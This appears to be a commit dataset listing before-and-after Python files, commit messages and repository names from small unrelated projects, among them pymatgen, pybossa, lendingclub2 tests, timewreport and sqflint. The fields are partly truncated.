The util package implements various utilities that are commonly used by various
packages.
"""
__author__ = "Shyue"
__date__ = "$Jun 6, 2011 7:30:05 AM$"
try:
imp... | <commit_before># coding: utf-8
# Copyright (c) Pymatgen Development Team.
# Distributed under the terms of the MIT License.
from __future__ import unicode_literals
"""
The util package implements various utilities that are commonly used by various
packages.
"""
__author__ = "Shyue"
__date__ = "$Jun 6, 2011 7:30:05 A... | # coding: utf-8
# Copyright (c) Pymatgen Development Team.
# Distributed under the terms of the MIT License.
from __future__ import unicode_literals
"""
The util package implements various utilities that are commonly used by various
packages.
"""
__author__ = "Shyue"
__date__ = "$Jun 6, 2011 7:30:05 AM$"
try:
imp... | # coding: utf-8
# Copyright (c) Pymatgen Development Team.
# Distributed under the terms of the MIT License.
from __future__ import unicode_literals
"""
The util package implements various utilities that are commonly used by various
packages.
"""
__author__ = "Shyue"
__date__ = "$Jun 6, 2011 7:30:05 AM$"
try:
imp... | <commit_before># coding: utf-8
# Copyright (c) Pymatgen Development Team.
# Distributed under the terms of the MIT License.
from __future__ import unicode_literals
"""
The util package implements various utilities that are commonly used by various
packages.
"""
__author__ = "Shyue"
__date__ = "$Jun 6, 2011 7:30:05 A... |
68625abd9bce7411aa27375a2668d960ad2021f4 | cell/results.py | cell/results.py | """cell.result"""
from __future__ import absolute_import
from __future__ import with_statement
from kombu.pools import producers
from .exceptions import CellError, NoReplyError
__all__ = ['AsyncResult']
class AsyncResult(object):
Error = CellError
NoReplyError = NoReplyError
def __init__(self, ticket... | """cell.result"""
from __future__ import absolute_import
from __future__ import with_statement
from kombu.pools import producers
from .exceptions import CellError, NoReplyError
__all__ = ['AsyncResult']
class AsyncResult(object):
Error = CellError
NoReplyError = NoReplyError
def __init__(self, ticket... | Add result property to AsyncResult (it blocks if the result has not been previously retrieved, or return the result otherwise) | Add result property to AsyncResult
(it blocks if the result has not been previously retrieved, or return the
result otherwise)
| Python | bsd-3-clause | celery/cell,celery/cell | """cell.result"""
from __future__ import absolute_import
from __future__ import with_statement
from kombu.pools import producers
from .exceptions import CellError, NoReplyError
__all__ = ['AsyncResult']
class AsyncResult(object):
Error = CellError
NoReplyError = NoReplyError
def __init__(self, ticket... | """cell.result"""
from __future__ import absolute_import
from __future__ import with_statement
from kombu.pools import producers
from .exceptions import CellError, NoReplyError
__all__ = ['AsyncResult']
class AsyncResult(object):
Error = CellError
NoReplyError = NoReplyError
def __init__(self, ticket... | <commit_before>"""cell.result"""
from __future__ import absolute_import
from __future__ import with_statement
from kombu.pools import producers
from .exceptions import CellError, NoReplyError
__all__ = ['AsyncResult']
class AsyncResult(object):
Error = CellError
NoReplyError = NoReplyError
def __init... | """cell.result"""
from __future__ import absolute_import
from __future__ import with_statement
from kombu.pools import producers
from .exceptions import CellError, NoReplyError
__all__ = ['AsyncResult']
class AsyncResult(object):
Error = CellError
NoReplyError = NoReplyError
def __init__(self, ticket... | """cell.result"""
from __future__ import absolute_import
from __future__ import with_statement
from kombu.pools import producers
from .exceptions import CellError, NoReplyError
__all__ = ['AsyncResult']
class AsyncResult(object):
Error = CellError
NoReplyError = NoReplyError
def __init__(self, ticket... | <commit_before>"""cell.result"""
from __future__ import absolute_import
from __future__ import with_statement
from kombu.pools import producers
from .exceptions import CellError, NoReplyError
__all__ = ['AsyncResult']
class AsyncResult(object):
Error = CellError
NoReplyError = NoReplyError
def __init... |
9e2db322eed4a684ac9d7fe8944d9a8aff114929 | problib/example1/__init__.py | problib/example1/__init__.py | from sympy import symbols, cos, sin
from mathdeck import rand
metadata = {
'author': 'Bob Hope',
'institution': 'University of Missouri',
'subject': 'algebra',
'minor subject': 'polynomial equations',
'tags': ['simplify','roots','intervals']
}
r = rand.Random()
# # choose three random integers between 0 an... | from sympy import symbols, cos, sin
from mathdeck import rand
metadata = {
'author': 'Bob Hope',
'institution': 'University of Missouri',
'subject': 'algebra',
'minor subject': 'polynomial equations',
'tags': ['simplify','roots','intervals']
}
r = rand.Random()
# # choose three random integers between 0 an... | Change answers attribute to dictionary | Change answers attribute to dictionary
| Python | apache-2.0 | patrickspencer/mathdeck,patrickspencer/mathdeck | from sympy import symbols, cos, sin
from mathdeck import rand
metadata = {
'author': 'Bob Hope',
'institution': 'University of Missouri',
'subject': 'algebra',
'minor subject': 'polynomial equations',
'tags': ['simplify','roots','intervals']
}
r = rand.Random()
# # choose three random integers between 0 an... | from sympy import symbols, cos, sin
from mathdeck import rand
metadata = {
'author': 'Bob Hope',
'institution': 'University of Missouri',
'subject': 'algebra',
'minor subject': 'polynomial equations',
'tags': ['simplify','roots','intervals']
}
r = rand.Random()
# # choose three random integers between 0 an... | <commit_before>from sympy import symbols, cos, sin
from mathdeck import rand
metadata = {
'author': 'Bob Hope',
'institution': 'University of Missouri',
'subject': 'algebra',
'minor subject': 'polynomial equations',
'tags': ['simplify','roots','intervals']
}
r = rand.Random()
# # choose three random intege... | from sympy import symbols, cos, sin
from mathdeck import rand
metadata = {
'author': 'Bob Hope',
'institution': 'University of Missouri',
'subject': 'algebra',
'minor subject': 'polynomial equations',
'tags': ['simplify','roots','intervals']
}
r = rand.Random()
# # choose three random integers between 0 an... | from sympy import symbols, cos, sin
from mathdeck import rand
metadata = {
'author': 'Bob Hope',
'institution': 'University of Missouri',
'subject': 'algebra',
'minor subject': 'polynomial equations',
'tags': ['simplify','roots','intervals']
}
r = rand.Random()
# # choose three random integers between 0 an... | <commit_before>from sympy import symbols, cos, sin
from mathdeck import rand
metadata = {
'author': 'Bob Hope',
'institution': 'University of Missouri',
'subject': 'algebra',
'minor subject': 'polynomial equations',
'tags': ['simplify','roots','intervals']
}
r = rand.Random()
# # choose three random intege... |
39a0094f87bf03229eacb81c5bc86b55c8893ceb | serving.py | serving.py | # -*- coding: utf-8 -*-
"""Extend werkzeug request handler to suit our needs."""
import time
from werkzeug.serving import BaseRequestHandler
class ShRequestHandler(BaseRequestHandler):
"""Extend werkzeug request handler to suit our needs."""
def handle(self):
self.shRequestStarted = time.time()
... | # -*- coding: utf-8 -*-
"""Extend werkzeug request handler to suit our needs."""
import time
from werkzeug.serving import BaseRequestHandler
class ShRequestHandler(BaseRequestHandler):
"""Extend werkzeug request handler to suit our needs."""
def handle(self):
self.shRequestStarted = time.time()
... | Handle logging when a '%' character is in the URL. | Handle logging when a '%' character is in the URL.
| Python | bsd-3-clause | Sendhub/flashk_util | # -*- coding: utf-8 -*-
"""Extend werkzeug request handler to suit our needs."""
import time
from werkzeug.serving import BaseRequestHandler
class ShRequestHandler(BaseRequestHandler):
"""Extend werkzeug request handler to suit our needs."""
def handle(self):
self.shRequestStarted = time.time()
... | # -*- coding: utf-8 -*-
"""Extend werkzeug request handler to suit our needs."""
import time
from werkzeug.serving import BaseRequestHandler
class ShRequestHandler(BaseRequestHandler):
"""Extend werkzeug request handler to suit our needs."""
def handle(self):
self.shRequestStarted = time.time()
... | <commit_before># -*- coding: utf-8 -*-
"""Extend werkzeug request handler to suit our needs."""
import time
from werkzeug.serving import BaseRequestHandler
class ShRequestHandler(BaseRequestHandler):
"""Extend werkzeug request handler to suit our needs."""
def handle(self):
self.shRequestStarted = ti... | # -*- coding: utf-8 -*-
"""Extend werkzeug request handler to suit our needs."""
import time
from werkzeug.serving import BaseRequestHandler
class ShRequestHandler(BaseRequestHandler):
"""Extend werkzeug request handler to suit our needs."""
def handle(self):
self.shRequestStarted = time.time()
... | # -*- coding: utf-8 -*-
"""Extend werkzeug request handler to suit our needs."""
import time
from werkzeug.serving import BaseRequestHandler
class ShRequestHandler(BaseRequestHandler):
"""Extend werkzeug request handler to suit our needs."""
def handle(self):
self.shRequestStarted = time.time()
... | <commit_before># -*- coding: utf-8 -*-
"""Extend werkzeug request handler to suit our needs."""
import time
from werkzeug.serving import BaseRequestHandler
class ShRequestHandler(BaseRequestHandler):
"""Extend werkzeug request handler to suit our needs."""
def handle(self):
self.shRequestStarted = ti... |
379bec30964d34cde01b3a3cd9875efdaad5fc41 | create_task.py | create_task.py | #!/usr/bin/env python
import TheHitList
from optparse import OptionParser
if __name__ == '__main__':
parser = OptionParser()
parser.add_option("--list", dest="list", help="List tasks in Inbox", default=False,action="store_true")
(opts,args) = parser.parse_args()
thl = TheHitList.Application()
if(opts.list):
... | #!/usr/bin/env python
import TheHitList
from optparse import OptionParser
if __name__ == '__main__':
parser = OptionParser()
parser.add_option("--show", dest="show", help="Show tasks in a list", default=None)
parser.add_option("--list", dest="list", help="Add task to a specific list", default=None)
(opts,args) = p... | Add support for adding a task to a specific list Add support for listing all tasks in a specific list | Add support for adding a task to a specific list
Add support for listing all tasks in a specific list | Python | mit | vasyvas/thehitlist,kfdm-archive/thehitlist | #!/usr/bin/env python
import TheHitList
from optparse import OptionParser
if __name__ == '__main__':
parser = OptionParser()
parser.add_option("--list", dest="list", help="List tasks in Inbox", default=False,action="store_true")
(opts,args) = parser.parse_args()
thl = TheHitList.Application()
if(opts.list):
... | #!/usr/bin/env python
import TheHitList
from optparse import OptionParser
if __name__ == '__main__':
parser = OptionParser()
parser.add_option("--show", dest="show", help="Show tasks in a list", default=None)
parser.add_option("--list", dest="list", help="Add task to a specific list", default=None)
(opts,args) = p... | <commit_before>#!/usr/bin/env python
import TheHitList
from optparse import OptionParser
if __name__ == '__main__':
parser = OptionParser()
parser.add_option("--list", dest="list", help="List tasks in Inbox", default=False,action="store_true")
(opts,args) = parser.parse_args()
thl = TheHitList.Application()
i... | #!/usr/bin/env python
import TheHitList
from optparse import OptionParser
if __name__ == '__main__':
parser = OptionParser()
parser.add_option("--show", dest="show", help="Show tasks in a list", default=None)
parser.add_option("--list", dest="list", help="Add task to a specific list", default=None)
(opts,args) = p... | #!/usr/bin/env python
import TheHitList
from optparse import OptionParser
if __name__ == '__main__':
parser = OptionParser()
parser.add_option("--list", dest="list", help="List tasks in Inbox", default=False,action="store_true")
(opts,args) = parser.parse_args()
thl = TheHitList.Application()
if(opts.list):
... | <commit_before>#!/usr/bin/env python
import TheHitList
from optparse import OptionParser
if __name__ == '__main__':
parser = OptionParser()
parser.add_option("--list", dest="list", help="List tasks in Inbox", default=False,action="store_true")
(opts,args) = parser.parse_args()
thl = TheHitList.Application()
i... |
c38261a4b04e7d64c662a6787f3ef07fc4686b74 | pybossa/sentinel/__init__.py | pybossa/sentinel/__init__.py | from redis import sentinel, StrictRedis
class Sentinel(object):
def __init__(self, app=None):
self.app = app
self.master = StrictRedis()
self.slave = self.master
if app is not None: # pragma: no cover
self.init_app(app)
def init_app(self, app):
self.connec... | from redis import sentinel, StrictRedis
class Sentinel(object):
def __init__(self, app=None):
self.app = app
self.master = StrictRedis()
self.slave = self.master
if app is not None: # pragma: no cover
self.init_app(app)
def init_app(self, app):
self.connec... | Add socket connect timeout option to sentinel connection | Add socket connect timeout option to sentinel connection
| Python | agpl-3.0 | PyBossa/pybossa,jean/pybossa,inteligencia-coletiva-lsd/pybossa,inteligencia-coletiva-lsd/pybossa,Scifabric/pybossa,Scifabric/pybossa,PyBossa/pybossa,OpenNewsLabs/pybossa,jean/pybossa,OpenNewsLabs/pybossa,geotagx/pybossa,geotagx/pybossa | from redis import sentinel, StrictRedis
class Sentinel(object):
def __init__(self, app=None):
self.app = app
self.master = StrictRedis()
self.slave = self.master
if app is not None: # pragma: no cover
self.init_app(app)
def init_app(self, app):
self.connec... | from redis import sentinel, StrictRedis
class Sentinel(object):
def __init__(self, app=None):
self.app = app
self.master = StrictRedis()
self.slave = self.master
if app is not None: # pragma: no cover
self.init_app(app)
def init_app(self, app):
self.connec... | <commit_before>from redis import sentinel, StrictRedis
class Sentinel(object):
def __init__(self, app=None):
self.app = app
self.master = StrictRedis()
self.slave = self.master
if app is not None: # pragma: no cover
self.init_app(app)
def init_app(self, app):
... | from redis import sentinel, StrictRedis
class Sentinel(object):
def __init__(self, app=None):
self.app = app
self.master = StrictRedis()
self.slave = self.master
if app is not None: # pragma: no cover
self.init_app(app)
def init_app(self, app):
self.connec... | from redis import sentinel, StrictRedis
class Sentinel(object):
def __init__(self, app=None):
self.app = app
self.master = StrictRedis()
self.slave = self.master
if app is not None: # pragma: no cover
self.init_app(app)
def init_app(self, app):
self.connec... | <commit_before>from redis import sentinel, StrictRedis
class Sentinel(object):
def __init__(self, app=None):
self.app = app
self.master = StrictRedis()
self.slave = self.master
if app is not None: # pragma: no cover
self.init_app(app)
def init_app(self, app):
... |
7666a29aafe22a51abfd5aee21b62c71055aea78 | tests/test_account.py | tests/test_account.py | # Filename: test_account.py
"""
Test the lendingclub2.accountmodule
"""
# PyTest
import pytest
# lendingclub2
from lendingclub2.account import InvestorAccount
from lendingclub2.error import LCError
class TestInvestorAccount(object):
def test_properties(self):
investor = InvestorAccount()
try:
... | # Filename: test_account.py
"""
Test the lendingclub2.accountmodule
"""
# PyTest
import pytest
# lendingclub2
from lendingclub2.account import InvestorAccount
from lendingclub2.error import LCError
class TestInvestorAccount(object):
def test_properties(self):
try:
investor = InvestorAccount... | Fix error in the case when no ID is provided | Fix error in the case when no ID is provided
| Python | mit | ahartoto/lendingclub2 | # Filename: test_account.py
"""
Test the lendingclub2.accountmodule
"""
# PyTest
import pytest
# lendingclub2
from lendingclub2.account import InvestorAccount
from lendingclub2.error import LCError
class TestInvestorAccount(object):
def test_properties(self):
investor = InvestorAccount()
try:
... | # Filename: test_account.py
"""
Test the lendingclub2.accountmodule
"""
# PyTest
import pytest
# lendingclub2
from lendingclub2.account import InvestorAccount
from lendingclub2.error import LCError
class TestInvestorAccount(object):
def test_properties(self):
try:
investor = InvestorAccount... | <commit_before># Filename: test_account.py
"""
Test the lendingclub2.accountmodule
"""
# PyTest
import pytest
# lendingclub2
from lendingclub2.account import InvestorAccount
from lendingclub2.error import LCError
class TestInvestorAccount(object):
def test_properties(self):
investor = InvestorAccount()... | # Filename: test_account.py
"""
Test the lendingclub2.accountmodule
"""
# PyTest
import pytest
# lendingclub2
from lendingclub2.account import InvestorAccount
from lendingclub2.error import LCError
class TestInvestorAccount(object):
def test_properties(self):
try:
investor = InvestorAccount... | # Filename: test_account.py
"""
Test the lendingclub2.accountmodule
"""
# PyTest
import pytest
# lendingclub2
from lendingclub2.account import InvestorAccount
from lendingclub2.error import LCError
class TestInvestorAccount(object):
def test_properties(self):
investor = InvestorAccount()
try:
... | <commit_before># Filename: test_account.py
"""
Test the lendingclub2.accountmodule
"""
# PyTest
import pytest
# lendingclub2
from lendingclub2.account import InvestorAccount
from lendingclub2.error import LCError
class TestInvestorAccount(object):
def test_properties(self):
investor = InvestorAccount()... |
4a1cf52683b782b76fb75fa9254a37a804dda1ea | mywebsite/tests.py | mywebsite/tests.py | from django.test import TestCase
from django.core.urlresolvers import reverse
class ViewsTestCase(TestCase):
def test_about_view(self):
response = self.client.get(reverse('about'))
self.assertEqual(response.status_code, 200)
self.assertContains(response, "About")
| from django.test import TestCase
from django.core.urlresolvers import reverse
class ViewsTestCase(TestCase):
def test_about_view(self):
response = self.client.get(reverse('about'))
self.assertEqual(response.status_code, 200)
self.assertContains(response, "About")
def test_contact_p... | Add test for contact page | Add test for contact page
| Python | mit | TomGijselinck/mywebsite,TomGijselinck/mywebsite | from django.test import TestCase
from django.core.urlresolvers import reverse
class ViewsTestCase(TestCase):
def test_about_view(self):
response = self.client.get(reverse('about'))
self.assertEqual(response.status_code, 200)
self.assertContains(response, "About")
Add test for contact page | from django.test import TestCase
from django.core.urlresolvers import reverse
class ViewsTestCase(TestCase):
def test_about_view(self):
response = self.client.get(reverse('about'))
self.assertEqual(response.status_code, 200)
self.assertContains(response, "About")
def test_contact_p... | <commit_before>from django.test import TestCase
from django.core.urlresolvers import reverse
class ViewsTestCase(TestCase):
def test_about_view(self):
response = self.client.get(reverse('about'))
self.assertEqual(response.status_code, 200)
self.assertContains(response, "About")
<commit_msg>... | from django.test import TestCase
from django.core.urlresolvers import reverse
class ViewsTestCase(TestCase):
def test_about_view(self):
response = self.client.get(reverse('about'))
self.assertEqual(response.status_code, 200)
self.assertContains(response, "About")
def test_contact_p... | from django.test import TestCase
from django.core.urlresolvers import reverse
class ViewsTestCase(TestCase):
def test_about_view(self):
response = self.client.get(reverse('about'))
self.assertEqual(response.status_code, 200)
self.assertContains(response, "About")
Add test for contact pagefr... | <commit_before>from django.test import TestCase
from django.core.urlresolvers import reverse
class ViewsTestCase(TestCase):
def test_about_view(self):
response = self.client.get(reverse('about'))
self.assertEqual(response.status_code, 200)
self.assertContains(response, "About")
<commit_msg>... |
9f3abe5077fce0a2d7323a769fc063fca5b7aca8 | tests/test_bawlerd.py | tests/test_bawlerd.py | import os
from pg_bawler import bawlerd
class TestBawlerdConfig:
def test_build_config_location_list(self):
assert not bawlerd.conf.build_config_location_list(locations=())
user_conf = os.path.join(
os.path.expanduser('~'),
bawlerd.conf.DEFAULT_CONFIG_FILENAME)
... | import io
import os
from textwrap import dedent
from pg_bawler import bawlerd
class TestBawlerdConfig:
def test_build_config_location_list(self):
assert not bawlerd.conf.build_config_location_list(locations=())
user_conf = os.path.join(
os.path.expanduser('~'),
bawlerd.c... | Add simple test for _load_file | Add simple test for _load_file
Signed-off-by: Michal Kuffa <005ee1c97edba97d164343c993afee612ac25a0c@gmail.com>
| Python | bsd-3-clause | beezz/pg_bawler,beezz/pg_bawler | import os
from pg_bawler import bawlerd
class TestBawlerdConfig:
def test_build_config_location_list(self):
assert not bawlerd.conf.build_config_location_list(locations=())
user_conf = os.path.join(
os.path.expanduser('~'),
bawlerd.conf.DEFAULT_CONFIG_FILENAME)
... | import io
import os
from textwrap import dedent
from pg_bawler import bawlerd
class TestBawlerdConfig:
def test_build_config_location_list(self):
assert not bawlerd.conf.build_config_location_list(locations=())
user_conf = os.path.join(
os.path.expanduser('~'),
bawlerd.c... | <commit_before>import os
from pg_bawler import bawlerd
class TestBawlerdConfig:
def test_build_config_location_list(self):
assert not bawlerd.conf.build_config_location_list(locations=())
user_conf = os.path.join(
os.path.expanduser('~'),
bawlerd.conf.DEFAULT_CONFIG_FILE... | import io
import os
from textwrap import dedent
from pg_bawler import bawlerd
class TestBawlerdConfig:
def test_build_config_location_list(self):
assert not bawlerd.conf.build_config_location_list(locations=())
user_conf = os.path.join(
os.path.expanduser('~'),
bawlerd.c... | import os
from pg_bawler import bawlerd
class TestBawlerdConfig:
def test_build_config_location_list(self):
assert not bawlerd.conf.build_config_location_list(locations=())
user_conf = os.path.join(
os.path.expanduser('~'),
bawlerd.conf.DEFAULT_CONFIG_FILENAME)
... | <commit_before>import os
from pg_bawler import bawlerd
class TestBawlerdConfig:
def test_build_config_location_list(self):
assert not bawlerd.conf.build_config_location_list(locations=())
user_conf = os.path.join(
os.path.expanduser('~'),
bawlerd.conf.DEFAULT_CONFIG_FILE... |
d58973ff285ac2cdfae7a2e4e6dae668cf136f69 | timewreport/config.py | timewreport/config.py | import re
class TimeWarriorConfig(object):
def __init__(self, config=None):
self.__config = config if config is not None else {}
def update(self, other):
if isinstance(other, TimeWarriorConfig):
config = other.get_dict()
elif isinstance(other, dict):
config = o... | import re
class TimeWarriorConfig(object):
def __init__(self, config=None):
self.__config = config if config is not None else {}
def update(self, other):
if isinstance(other, TimeWarriorConfig):
config = other.get_dict()
elif isinstance(other, dict):
config = o... | Add specialized getters for flags 'debug', 'verbose', and 'confirmation' | Add specialized getters for flags 'debug', 'verbose', and 'confirmation'
| Python | mit | lauft/timew-report | import re
class TimeWarriorConfig(object):
def __init__(self, config=None):
self.__config = config if config is not None else {}
def update(self, other):
if isinstance(other, TimeWarriorConfig):
config = other.get_dict()
elif isinstance(other, dict):
config = o... | import re
class TimeWarriorConfig(object):
def __init__(self, config=None):
self.__config = config if config is not None else {}
def update(self, other):
if isinstance(other, TimeWarriorConfig):
config = other.get_dict()
elif isinstance(other, dict):
config = o... | <commit_before>import re
class TimeWarriorConfig(object):
def __init__(self, config=None):
self.__config = config if config is not None else {}
def update(self, other):
if isinstance(other, TimeWarriorConfig):
config = other.get_dict()
elif isinstance(other, dict):
... | import re
class TimeWarriorConfig(object):
def __init__(self, config=None):
self.__config = config if config is not None else {}
def update(self, other):
if isinstance(other, TimeWarriorConfig):
config = other.get_dict()
elif isinstance(other, dict):
config = o... | import re
class TimeWarriorConfig(object):
def __init__(self, config=None):
self.__config = config if config is not None else {}
def update(self, other):
if isinstance(other, TimeWarriorConfig):
config = other.get_dict()
elif isinstance(other, dict):
config = o... | <commit_before>import re
class TimeWarriorConfig(object):
def __init__(self, config=None):
self.__config = config if config is not None else {}
def update(self, other):
if isinstance(other, TimeWarriorConfig):
config = other.get_dict()
elif isinstance(other, dict):
... |
4b845f085c0a010c6de5f444dca0d57c0b3da3fa | wikipendium/jitishcron/models.py | wikipendium/jitishcron/models.py | from django.db import models
from django.utils import timezone
class TaskExecution(models.Model):
time = models.DateTimeField(default=timezone.now)
key = models.CharField(max_length=256)
execution_number = models.IntegerField()
class Meta:
unique_together = ('key', 'execution_number')
de... | from django.db import models
from django.utils import timezone
class TaskExecution(models.Model):
time = models.DateTimeField(default=timezone.now)
key = models.CharField(max_length=256)
execution_number = models.IntegerField()
class Meta:
unique_together = ('key', 'execution_number')
... | Add app_label to jitishcron TaskExecution model | Add app_label to jitishcron TaskExecution model
The TaskExecution model is loaded before apps are done loading, which in
Django 1.9 will no longer be permitted unless the model explicitly
specifies an app_label.
| Python | apache-2.0 | stianjensen/wikipendium.no,stianjensen/wikipendium.no,stianjensen/wikipendium.no | from django.db import models
from django.utils import timezone
class TaskExecution(models.Model):
time = models.DateTimeField(default=timezone.now)
key = models.CharField(max_length=256)
execution_number = models.IntegerField()
class Meta:
unique_together = ('key', 'execution_number')
de... | from django.db import models
from django.utils import timezone
class TaskExecution(models.Model):
time = models.DateTimeField(default=timezone.now)
key = models.CharField(max_length=256)
execution_number = models.IntegerField()
class Meta:
unique_together = ('key', 'execution_number')
... | <commit_before>from django.db import models
from django.utils import timezone
class TaskExecution(models.Model):
time = models.DateTimeField(default=timezone.now)
key = models.CharField(max_length=256)
execution_number = models.IntegerField()
class Meta:
unique_together = ('key', 'execution_n... | from django.db import models
from django.utils import timezone
class TaskExecution(models.Model):
time = models.DateTimeField(default=timezone.now)
key = models.CharField(max_length=256)
execution_number = models.IntegerField()
class Meta:
unique_together = ('key', 'execution_number')
... | from django.db import models
from django.utils import timezone
class TaskExecution(models.Model):
time = models.DateTimeField(default=timezone.now)
key = models.CharField(max_length=256)
execution_number = models.IntegerField()
class Meta:
unique_together = ('key', 'execution_number')
de... | <commit_before>from django.db import models
from django.utils import timezone
class TaskExecution(models.Model):
time = models.DateTimeField(default=timezone.now)
key = models.CharField(max_length=256)
execution_number = models.IntegerField()
class Meta:
unique_together = ('key', 'execution_n... |
bd07980d9545de5ae82d6bdc87eab23060b0e859 | sqflint.py | sqflint.py | import sys
import argparse
from sqf.parser import parse
import sqf.analyser
from sqf.exceptions import SQFParserError
def analyze(code, writer=sys.stdout):
try:
result = parse(code)
except SQFParserError as e:
writer.write('[%d,%d]:%s\n' % (e.position[0], e.position[1] - 1, e.message))
... | import sys
import argparse
from sqf.parser import parse
import sqf.analyser
from sqf.exceptions import SQFParserError
def analyze(code, writer=sys.stdout):
try:
result = parse(code)
except SQFParserError as e:
writer.write('[%d,%d]:%s\n' % (e.position[0], e.position[1] - 1, e.message))
... | Fix parsing file - FileType already read | Fix parsing file - FileType already read
| Python | bsd-3-clause | LordGolias/sqf | import sys
import argparse
from sqf.parser import parse
import sqf.analyser
from sqf.exceptions import SQFParserError
def analyze(code, writer=sys.stdout):
try:
result = parse(code)
except SQFParserError as e:
writer.write('[%d,%d]:%s\n' % (e.position[0], e.position[1] - 1, e.message))
... | import sys
import argparse
from sqf.parser import parse
import sqf.analyser
from sqf.exceptions import SQFParserError
def analyze(code, writer=sys.stdout):
try:
result = parse(code)
except SQFParserError as e:
writer.write('[%d,%d]:%s\n' % (e.position[0], e.position[1] - 1, e.message))
... | <commit_before>import sys
import argparse
from sqf.parser import parse
import sqf.analyser
from sqf.exceptions import SQFParserError
def analyze(code, writer=sys.stdout):
try:
result = parse(code)
except SQFParserError as e:
writer.write('[%d,%d]:%s\n' % (e.position[0], e.position[1] - 1, e.m... | import sys
import argparse
from sqf.parser import parse
import sqf.analyser
from sqf.exceptions import SQFParserError
def analyze(code, writer=sys.stdout):
try:
result = parse(code)
except SQFParserError as e:
writer.write('[%d,%d]:%s\n' % (e.position[0], e.position[1] - 1, e.message))
... | import sys
import argparse
from sqf.parser import parse
import sqf.analyser
from sqf.exceptions import SQFParserError
def analyze(code, writer=sys.stdout):
try:
result = parse(code)
except SQFParserError as e:
writer.write('[%d,%d]:%s\n' % (e.position[0], e.position[1] - 1, e.message))
... | <commit_before>import sys
import argparse
from sqf.parser import parse
import sqf.analyser
from sqf.exceptions import SQFParserError
def analyze(code, writer=sys.stdout):
try:
result = parse(code)
except SQFParserError as e:
writer.write('[%d,%d]:%s\n' % (e.position[0], e.position[1] - 1, e.m... |
eaea19daa9ccb01b0dbef999c1f897fb9c4c19ee | Sketches/MH/pymedia/test_Input.py | Sketches/MH/pymedia/test_Input.py | #!/usr/bin/env python
#
# (C) 2004 British Broadcasting Corporation and Kamaelia Contributors(1)
# All Rights Reserved.
#
# You may only modify and redistribute this under the terms of any of the
# following licenses(2): Mozilla Public License, V1.1, GNU General
# Public License, V2.0, GNU Lesser General Public Lic... | #!/usr/bin/env python
#
# (C) 2004 British Broadcasting Corporation and Kamaelia Contributors(1)
# All Rights Reserved.
#
# You may only modify and redistribute this under the terms of any of the
# following licenses(2): Mozilla Public License, V1.1, GNU General
# Public License, V2.0, GNU Lesser General Public Lic... | Fix so both input and output are the same format! | Fix so both input and output are the same format!
Matt
| Python | apache-2.0 | sparkslabs/kamaelia,sparkslabs/kamaelia,sparkslabs/kamaelia,sparkslabs/kamaelia,sparkslabs/kamaelia,sparkslabs/kamaelia,sparkslabs/kamaelia,sparkslabs/kamaelia,sparkslabs/kamaelia,sparkslabs/kamaelia | #!/usr/bin/env python
#
# (C) 2004 British Broadcasting Corporation and Kamaelia Contributors(1)
# All Rights Reserved.
#
# You may only modify and redistribute this under the terms of any of the
# following licenses(2): Mozilla Public License, V1.1, GNU General
# Public License, V2.0, GNU Lesser General Public Lic... | #!/usr/bin/env python
#
# (C) 2004 British Broadcasting Corporation and Kamaelia Contributors(1)
# All Rights Reserved.
#
# You may only modify and redistribute this under the terms of any of the
# following licenses(2): Mozilla Public License, V1.1, GNU General
# Public License, V2.0, GNU Lesser General Public Lic... | <commit_before>#!/usr/bin/env python
#
# (C) 2004 British Broadcasting Corporation and Kamaelia Contributors(1)
# All Rights Reserved.
#
# You may only modify and redistribute this under the terms of any of the
# following licenses(2): Mozilla Public License, V1.1, GNU General
# Public License, V2.0, GNU Lesser Gen... | #!/usr/bin/env python
#
# (C) 2004 British Broadcasting Corporation and Kamaelia Contributors(1)
# All Rights Reserved.
#
# You may only modify and redistribute this under the terms of any of the
# following licenses(2): Mozilla Public License, V1.1, GNU General
# Public License, V2.0, GNU Lesser General Public Lic... | #!/usr/bin/env python
#
# (C) 2004 British Broadcasting Corporation and Kamaelia Contributors(1)
# All Rights Reserved.
#
# You may only modify and redistribute this under the terms of any of the
# following licenses(2): Mozilla Public License, V1.1, GNU General
# Public License, V2.0, GNU Lesser General Public Lic... | <commit_before>#!/usr/bin/env python
#
# (C) 2004 British Broadcasting Corporation and Kamaelia Contributors(1)
# All Rights Reserved.
#
# You may only modify and redistribute this under the terms of any of the
# following licenses(2): Mozilla Public License, V1.1, GNU General
# Public License, V2.0, GNU Lesser Gen... |
c890112827c88680c7306f5c90e04cdd0575911a | refactoring/simplify_expr.py | refactoring/simplify_expr.py | """Simplify Expression"""
from transf import parse
import ir.match
import ir.path
parse.Transfs(r'''
simplify =
Binary(Eq(Int(_,_)),Binary(Minus(Int(_,_)),x,y),Lit(Int(_,_),0))
-> Binary(Eq(t),x,y) |
Unary(Not(Bool),Binary(Eq(t),x,y))
-> Binary(NotEq(t),x,y) |
Binary(And(_),x,x)
-> x
applicable =
ir.pat... | """Simplify Expression"""
from transf import parse
import ir.match
import ir.path
parse.Transfs(r'''
simplify =
Binary(Eq(t),Binary(Minus(t),x,y),Lit(t,0))
-> Binary(Eq(t),x,y) |
Unary(Not(Bool),Binary(Eq(t),x,y))
-> Binary(NotEq(t),x,y) |
Binary(And(_),x,x)
-> x
applicable =
ir.path.Applicable(
ir.pa... | Fix bug in simplify expression transformation. | Fix bug in simplify expression transformation.
| Python | lgpl-2.1 | mewbak/idc,mewbak/idc | """Simplify Expression"""
from transf import parse
import ir.match
import ir.path
parse.Transfs(r'''
simplify =
Binary(Eq(Int(_,_)),Binary(Minus(Int(_,_)),x,y),Lit(Int(_,_),0))
-> Binary(Eq(t),x,y) |
Unary(Not(Bool),Binary(Eq(t),x,y))
-> Binary(NotEq(t),x,y) |
Binary(And(_),x,x)
-> x
applicable =
ir.pat... | """Simplify Expression"""
from transf import parse
import ir.match
import ir.path
parse.Transfs(r'''
simplify =
Binary(Eq(t),Binary(Minus(t),x,y),Lit(t,0))
-> Binary(Eq(t),x,y) |
Unary(Not(Bool),Binary(Eq(t),x,y))
-> Binary(NotEq(t),x,y) |
Binary(And(_),x,x)
-> x
applicable =
ir.path.Applicable(
ir.pa... | <commit_before>"""Simplify Expression"""
from transf import parse
import ir.match
import ir.path
parse.Transfs(r'''
simplify =
Binary(Eq(Int(_,_)),Binary(Minus(Int(_,_)),x,y),Lit(Int(_,_),0))
-> Binary(Eq(t),x,y) |
Unary(Not(Bool),Binary(Eq(t),x,y))
-> Binary(NotEq(t),x,y) |
Binary(And(_),x,x)
-> x
appli... | """Simplify Expression"""
from transf import parse
import ir.match
import ir.path
parse.Transfs(r'''
simplify =
